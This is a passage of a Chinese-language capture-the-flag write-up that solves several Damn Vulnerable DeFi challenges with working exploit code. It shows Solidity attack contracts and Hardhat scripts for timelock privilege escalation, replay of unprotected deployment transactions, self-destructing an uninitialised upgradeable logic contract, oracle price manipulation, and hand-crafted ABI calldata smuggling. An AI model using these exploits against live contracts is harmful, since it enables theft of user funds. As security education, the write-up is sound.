address _vault,
address _token
){
timeClock = ClimberTimelock(payable(_target));
upgrade = _upgrade;
vault = _vault;
token = _token;
owner = msg.sender;
}
function attack() public{
console.log( timeClock.delay() );
address[] memory targets = new address[](5);
uint[] memory values = new uint[](5);
bytes[] memory calldatas = new bytes[](5);
targets[0] = address(timeClock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
PROPOSER_ROLE,
address(this)
);
targets[1] = address(timeClock);
values[1] = 0;
calldatas[1] = abi.encodeWithSignature(
"updateDelay(uint64)",
0
);
targets[2] = vault;
values[2] = 0;
calldatas[2] = abi.encodeWithSignature(
"upgradeTo(address)",
upgrade
);
targets[3] = address(this);
values[3] = 0;
calldatas[3] = abi.encodeWithSignature(
"attack2()"
);
targets[4] = vault;
values[4] = 0;
calldatas[4] = abi.encodeWithSignature(
"withdraw(address,address,uint256)",
token,
owner,
0
);
timeClock.execute(targets, values, calldatas, "");
console.log( timeClock.delay() );
}
function attack2() external {
console.log("scheduled");
console.log( timeClock.delay() );
address[] memory targets = new address[](5);
uint[] memory values = new uint[](5);
bytes[] memory calldatas = new bytes[](5);
targets[0] = address(timeClock);
values[0] = 0;
calldatas[0] = abi.encodeWithSignature(
"grantRole(bytes32,address)",
PROPOSER_ROLE,
address(this)
);
targets[1] = address(timeClock);
values[1] = 0;
calldatas[1] = abi.encodeWithSignature(
"updateDelay(uint64)",
0
);
targets[2] = vault;
values[2] = 0;
calldatas[2] = abi.encodeWithSignature(
"upgradeTo(address)",
upgrade
);
targets[3] = address(this);
values[3] = 0;
calldatas[3] = abi.encodeWithSignature(
"attack2()"
);
targets[4] = vault;
values[4] = 0;
calldatas[4] = abi.encodeWithSignature(
"withdraw(address,address,uint256)",
token,
owner,
0
);
timeClock.schedule(targets, values, calldatas, "");
}
}
实际操作见test/climber/climber.challenge.js
:
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
const upgradeContract = await (await ethers.getContractFactory('UpgradeClimberVault', player)).deploy(
);
console.log("upgradeContract Inited ... : ",upgradeContract.address);
const hacker = await (await ethers.getContractFactory('HackerClimber', player)).deploy(
timelock.address,
upgradeContract.address,
vault.address,
token.address
);
hacker.connect(player).attack();
});
解决思路:
查看最后要求,首先发现要求我们要能够部署(没有私钥)factory
、mastercopy
合约,且还要在同一个地址。
我们先解决这一问题
// Factory account must have code
expect(
await ethers.provider.getCode(await walletDeployer.fact())
).to.not.eq('0x');
这可能吗?我记得合约地址如果通过CREATE来计算:
addr = hash(msg.sender, nonce)
如果是CREATE2,则是
addr = hash("oxff",msg.sender,salt,calldata)
以上表明合约是可以创建出来的,并在创建之前已经可以知道其地址,这使得跨链服务成为可能。
但我们创建合约的player
很明显也不是链上创建者的地址,能做到吗?
OP丢失了价值2000万美元的OP通证,这里主要问题就是重放攻击!
但为什么能重放呢,这是因为在创建合约时,发出的经过签名的data未经过EIP155保护,不含有ChainId,因此简单重放就能假冒受害者完成该nonce下的部署。(部署合约需要使用sendRawTransaction
发送已签名的交易数据。因为部署合约的交易是一笔特殊的交易类型,需要在交易数据中包含新合约的字节码,以及其他合约初始化参数。这些信息需要通过部署合约前的合约编译得到,然后使用私钥对交易数据进行签名,并将签名后的交易数据发送给以太坊网络进行处理。而RPC节点会通过RLP反序列化反推出公钥、地址等信息,从而可以实现冒充)。再补充一下(一旦交易被签名后,交易数据就不可更改,直到交易被打包进区块中。当交易到达 RPC 节点时,节点会验证交易的签名是否有效,并将交易解析为 RLP 格式,然后将其广播到整个网络中。在这个过程中,签名是不会被修改的。RLP 格式包含交易的各个字段,包括发送方地址。)
我们先从etherscan上找到raw data(more -> get Raw transaction Hash),随后在test/wallet-mining/wallet-mining.challenge.js
中进行攻击:
console.log("player address is %s",player.address);
const deployCode = require("./deployCode.json");
const victim = "0x1aa7451dd11b8cb16ac089ed7fe05efa00100a6a";
await player.sendTransaction(
{
to : victim,
value : ethers.utils.parseEther("1")
}
);
console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));
console.log("deploying safe ...");
const deployCopy = await (await ethers.provider.sendTransaction(deployCode.copy)).wait();
console.log("Success! Safe deployed at %s",deployCopy.contractAddress);
console.log("random Transaction");
(await ethers.provider.sendTransaction(deployCode.random)).wait();
console.log("deploying factory ...");
const deployFac = await (await ethers.provider.sendTransaction(deployCode.fact)).wait();
console.log("Success! Fac deployed at %s",deployFac.contractAddress);
console.log("victim received eth in wei : %s", await ethers.provider.getBalance(victim));
此时,尽管是player假冒,但扣的依旧是victim的ETH,这就是签名重放的危害。(切记一定要注意顺序,因为nonce
仍是victim
的地址)。
我们接下来的传入不会通过WalletDeployer
进行,因为它创建proxy
时所指定的逻辑地址是copy
。而我们则是想转账回去,所以我们自己手写攻击合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "hardhat/console.sol";
contract HackerWalletMining1 {
constructor(){
}
function tryHack(IERC20 token,address receiver) public{
if (token.balanceOf(address(this))!=0){
console.log("attacking...");
token.transfer(receiver,token.balanceOf(address(this)));
console.log("finish transfering");
}
}
}
很明显,我们要通过proxyFactory
生成合约,如果对应token有余额,则我们会进行转出。
const hacker1 = await (await ethers.getContractFactory('HackerWalletMining1', player)).deploy();
const calldata = hacker1.interface.encodeFunctionData(
"tryHack(address,address)",[token.address,player.address]
);
const factory = (await ethers.getContractFactory("GnosisSafeProxyFactory")).attach(deployFac.contractAddress);
console.log("Get Factory instance : %s",factory.address);
for (i = 0; i < 100; i++){
await factory.connect(player).createProxy(hacker1.address,calldata);
}
很幸运,我们已经从空闲地址转移出来了通证,下面就是试着拿到walletDeployer
中的43个通证了。这个切入点就是看看能不能将合约升级,can
返回值永远通过!
我们发现AuthorizerUpgradeable
的逻辑合约尚未初始化,所以我们可以初始化并升级合约。但要升级成什么样子?由于walletDeployer
中通过staticCall获取信息:
assembly {
let m := sload(0)
if iszero(extcodesize(m)) {return(0, 0)}
let p := mload(0x40)
mstore(0x40,add(p,0x44))
mstore(p,shl(0xe0,0x4538c4eb))
mstore(add(p,0x04),u)
mstore(add(p,0x24),a)
if iszero(staticcall(gas(),m,p,0x44,p,0x20)) {return(0,0)}
if and(not(iszero(returndatasize())), iszero(mload(p))) {return(0,0)}
}
如果我们将合约自毁,就可以绕过这里面的限制。从而有
console.log(await walletDeployer.callStatic.can(player.address,DEPOSIT_ADDRESS)); // True!!!
所以我们编写自毁合约HackerWalletMining2
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "hardhat/console.sol";
contract HackerWalletMining2 is Initializable, OwnableUpgradeable, UUPSUpgradeable {
constructor(){
}
function hack(address receiver) public{
console.log("destruct");
selfdestruct(payable(receiver));
}
function upgradeToAndCall(address imp, bytes memory wat) external payable override {
_authorizeUpgrade(imp);
_upgradeToAndCallUUPS(imp, wat, true);
}
function _authorizeUpgrade(address imp) internal override onlyOwner {}
}
然后我们在test/wallet-mining/wallet-mining.challenge.js
中编写,这里我们通过init
获取到逻辑合约的权限,并通过upgradeToAndCall
完成自毁。
此时就可以绕过walletDeployer
的检查。从而通过发送setup
(要求,前面有提过)通过WalletDeployer
创建合约并绕过检查。
const logicContract = (await ethers.getContractFactory("AuthorizerUpgradeable")).attach(logicContractAddress);
await logicContract.connect(player).init([],[]);
const hacker2 = await (await ethers.getContractFactory('HackerWalletMining2', player)).deploy();
console.log("hacker 2 contract deployed : %s",hacker2.address);
const calldata2 = hacker2.interface.encodeFunctionData(
"hack(address)",[player.address]
);
console.log(calldata2);
await logicContract.connect(player).upgradeToAndCall(hacker2.address,calldata2);
// configure setup
const calldata3 = new ethers.utils.Interface(["function setup(address[] calldata _owners, uint256 _threshold, address to, bytes calldata data, address fallbackHandler, address paymentToken, uint256 payment, address payable paymentReceiver)"])
.encodeFunctionData(
"setup(address[],uint256,address,bytes,address,address,uint256,address)",
[[player.address],
1,
"0x0000000000000000000000000000000000000000",
0,
"0x0000000000000000000000000000000000000000",
"0x0000000000000000000000000000000000000000",
0,
"0x0000000000000000000000000000000000000000",]
);
console.log("success configured calldata3 ", calldata3);
for (i = 0; i < 43 ; i++){
await walletDeployer.connect(player).drop(calldata3);
}
解题思路:
Uniswap V3 喂价采用的是time-weighted average price(TWAP)
,即随着时间比重算出加权后的价格。所以很明显,在同一笔交易内是不可能完成的了,因此闪电贷的思路可以歇歇了。
整体思路不变,先“砸盘”,等价格下来了(过一段时间),再借不迟!
我们还是先找到uniswap的Router为0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45
。同时为了能够生成实例,安装依赖npm install @uniswap/swap-router-contracts
选用exactInputSingle函数进行交换(已经存在相关的池子)。进行砸盘,并通过轮询,找到合适的价格并入场。
test/puppet-v3/puppet-v3.challenge.js
中攻击如下,在110s左右价格就达到了合适的入场点位。
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
console.log("before Swapping...");
console.log("token : %s", await token.balanceOf(player.address));
console.log("ETH : %s", await ethers.provider.getBalance(player.address));
console.log("WETH : %s", await weth.balanceOf(player.address));
const routerAddr = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45";
const routerJson = require('@uniswap/swap-router-contracts/artifacts/contracts/SwapRouter02.sol/SwapRouter02.json');
const router = new ethers.Contract(routerAddr, routerJson.abi, player);
console.log("router created ... %s", router.address );
await token.connect(player).approve(router.address,PLAYER_INITIAL_TOKEN_BALANCE);
await router.connect(player).exactInputSingle(
[
token.address,
weth.address,
3000,
player.address,
PLAYER_INITIAL_TOKEN_BALANCE,
0,
0
]
)
console.log("before Swapping...");
console.log("token : %s", await token.balanceOf(player.address));
console.log("ETH : %s", await ethers.provider.getBalance(player.address));
console.log("WETH : %s", await weth.balanceOf(player.address));
const value = BigNumber.from(await weth.balanceOf(player.address));
for (i = 1; i < 115; i++){
time.increase(1);
const needToDeposit = await lendingPool.callStatic.calculateDepositOfWETHRequired(LENDING_POOL_INITIAL_TOKEN_BALANCE);
console.log("after %s seconds",i);
console.log(value);
console.log(needToDeposit);
if (value.gt(needToDeposit)){
console.log("exit",i);
break;
}
}
time.increase(3);
await weth.connect(player).approve(lendingPool.address,await weth.balanceOf(player.address));
await lendingPool.connect(player).borrow(LENDING_POOL_INITIAL_TOKEN_BALANCE);
});
V3 能有效防止价格操纵。。因为随着时间的增加,进入了多人博弈。
解决思路:
检查传入的id
console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));
可知,player
允许withdraw
而deployer
则是sweep
。仔细检查,·发现问题可能出现在execute
函数中。
function execute(address target, bytes calldata actionData) external nonReentrant returns (bytes memory) {
// Read the 4-bytes selector at the beginning of `actionData`
bytes4 selector;
uint256 calldataOffset = 4 + 32 * 3; // calldata position where `actionData` begins
assembly {
selector := calldataload(calldataOffset)
}
if (!permissions[getActionId(selector, msg.sender, target)]) {
revert NotAllowed();
}
_beforeFunctionCall(target, actionData);
return target.functionCall(actionData);
}
这里先计算出calldataOffset
从而获取selector
,从而验证用户是否具有权限。最后再进行target.functionCall
。但用这样解构actionData
有没有漏洞呢,我们又没有办法可以实现偷梁换柱呢?
在调用execute
时,整体callData如下(注意actionData是):
FS (4 bytes) | 函数选择器(Selector) | 0xaaaaaaaa |
---|---|---|
0x00 (32 bytes) | target(address) | … |
0x20 (32 bytes) | actiondata location | 0x40 |
0x40 (32 bytes) | actiondata length | … |
0x60 | actiondata contens |
uint256 calldataOffset = 4 + 32 * 3;
实际上就是赵的actiondata
开头的bytes4
。
这是建立在actiondata location
正确指向actiondata length
,两者被正确pack的情况。如果我们在location
和actiondatalength
中间插入一段无意义字节,但仍能够正确指向,evm依旧能够正确识别!(此时不在slot里,不需要严格按照slot 32字节对齐,但最后一定要是32的整数,能够对齐)。
最终生成,详细信息见注释:
0x1cff79cd // execute
000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f0512 // address(vault)
0000000000000000000000000000000000000000000000000000000000000064 // 32 + 32 + 32 + 4 =100 = 0x64(不算一开始的execute)
0000000000000000000000000000000000000000000000000000000000000000 // random 0 paading (fixed 32 b)
d9caed12 // withdraw
0000000000000000000000000000000000000000000000000000000000000044 // calldata size (4 + 32 + 32 = 68 = 0x44)
85fb709d // sweep
0000000000000000000000003c44cdddb6a900fa2b585dd299e03d12fa4293bc // recovery.address
0000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3 // token.address
000000000000000000000000000000000000000000000000 // 补全0
具体生成过程见test/abi-smuggling/abi-smuggling.challenge.js
it('Execution', async function () {
/** CODE YOUR SOLUTION HERE */
console.log("sweeping : %s ",ethers.utils.id("sweepFunds(address,address)"));
console.log("withdraw : %s ",ethers.utils.id("withdraw(address,address,uint256)"));
const executeSig = await vault.interface.getSighash(
await vault.interface.getFunction("execute")
);
console.log(executeSig);
const vaultAddr = await ethers.utils.hexZeroPad(
vault.address,
32
);
console.log(vaultAddr);
const randoms = await ethers.utils.hexZeroPad(
"0x0",
32
);
console.log(randoms);
// length 32*2 + 4 = 68 = 0x44
const actionDataContent = await vault.interface.encodeFunctionData(
"sweepFunds(address,address)",
[recovery.address,
token.address]
);
console.log(actionDataContent);
const actionDataLength = await ethers.utils.hexZeroPad(
"0x44",
32
);
const withdraw = await vault.interface.getSighash(
await vault.interface.getFunction("withdraw")
);
// 32 bytes + 32 bytes + 32bytes + 4 bytes = 100 bytes = 0x64
const actionDataStore = await ethers.utils.hexZeroPad(
"0x64",
32
)
// 32 + 32 + 4 + 32 + 100 + 24 = 224 = 32 * 7
const padding = await ethers.utils.hexZeroPad(
"0x0",
24
);
const action = await ethers.utils.hexConcat(
[actionDataStore, randoms, withdraw, actionDataLength, actionDataContent,padding]
);
const calldata = await ethers.utils.hexConcat(
[executeSig,vaultAddr,action]
);
console.log(calldata);
await player.sendTransaction({
to: vault.address,
data : calldata
});
});
很开心,完成了Damn Vulnerable Defi
的挑战。区块链安全真的内容很多,充满机会,但也是黑暗森林,不得不防守。接下来,我会开展DefiHackLabs
的分享。欢迎关注!
BTW,我目前也有想换一个工作环境,Open to Opportunities!